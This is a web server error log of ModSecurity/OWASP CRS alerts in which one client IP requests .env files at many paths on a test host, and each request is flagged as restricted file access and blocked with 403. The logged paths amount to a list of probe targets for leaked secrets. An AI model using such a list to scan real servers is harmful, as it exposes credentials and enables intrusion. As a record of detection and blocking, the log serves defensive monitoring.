[Thu Feb 26 01:03:16.780353 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/config/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizUwAAAAA&quot;]
[Thu Feb 26 01:03:16.803706 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/laravel/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizVAAAAAA&quot;]
[Thu Feb 26 01:03:16.803928 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/laravel/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizVAAAAAA&quot;]
[Thu Feb 26 01:03:16.804079 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/laravel/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizVAAAAAA&quot;]
[Thu Feb 26 01:03:16.809804 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiJgAAAAE&quot;]
[Thu Feb 26 01:03:16.810005 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiJgAAAAE&quot;]
[Thu Feb 26 01:03:16.810159 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiJgAAAAE&quot;]
[Thu Feb 26 01:03:16.838567 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/adminer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/adminer/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiJwAAAAE&quot;]
[Thu Feb 26 01:03:16.838777 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/adminer/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiJwAAAAE&quot;]
[Thu Feb 26 01:03:16.838912 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/adminer/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiJwAAAAE&quot;]
[Thu Feb 26 01:03:16.863135 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/src/persistence/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/src/persistence/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizVgAAAAA&quot;]
[Thu Feb 26 01:03:16.863371 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/src/persistence/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizVgAAAAA&quot;]
[Thu Feb 26 01:03:16.863508 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/src/persistence/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizVgAAAAA&quot;]
[Thu Feb 26 01:03:16.871526 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/deployment-agent/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/deployment-agent/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiKAAAAAE&quot;]
[Thu Feb 26 01:03:16.871742 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/deployment-agent/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiKAAAAAE&quot;]
[Thu Feb 26 01:03:16.871879 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/deployment-agent/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiKAAAAAE&quot;]
[Thu Feb 26 01:03:16.913111 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/documents/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/documents/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiKQAAAAE&quot;]
[Thu Feb 26 01:03:16.913340 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/documents/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiKQAAAAE&quot;]
[Thu Feb 26 01:03:16.913500 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/documents/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiKQAAAAE&quot;]
[Thu Feb 26 01:03:16.917650 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server_with_db/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Server_with_db/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizVwAAAAA&quot;]
[Thu Feb 26 01:03:16.917885 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Server_with_db/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizVwAAAAA&quot;]
[Thu Feb 26 01:03:16.918028 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Server_with_db/.env&quot;] [unique_id &quot;aZ-NxCSJSniLip0oFXizVwAAAAA&quot;]
[Thu Feb 26 01:03:16.945730 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/graylog/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/graylog/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiKgAAAAE&quot;]
[Thu Feb 26 01:03:16.945943 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/graylog/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiKgAAAAE&quot;]
[Thu Feb 26 01:03:16.946083 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/graylog/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiKgAAAAE&quot;]
[Thu Feb 26 01:03:16.983052 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/jaeger/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/jaeger/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiKwAAAAE&quot;]
[Thu Feb 26 01:03:16.983347 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/jaeger/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiKwAAAAE&quot;]
[Thu Feb 26 01:03:16.983528 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/jaeger/.env&quot;] [unique_id &quot;aZ-NxDAL5Lg_nL66HcLiKwAAAAE&quot;]
[Thu Feb 26 01:03:17.016928 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizWgAAAAA&quot;]
[Thu Feb 26 01:03:17.017201 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizWgAAAAA&quot;]
[Thu Feb 26 01:03:17.017387 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizWgAAAAA&quot;]
[Thu Feb 26 01:03:17.036822 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/minio/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/minio/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiLAAAAAE&quot;]
[Thu Feb 26 01:03:17.037118 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/minio/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiLAAAAAE&quot;]
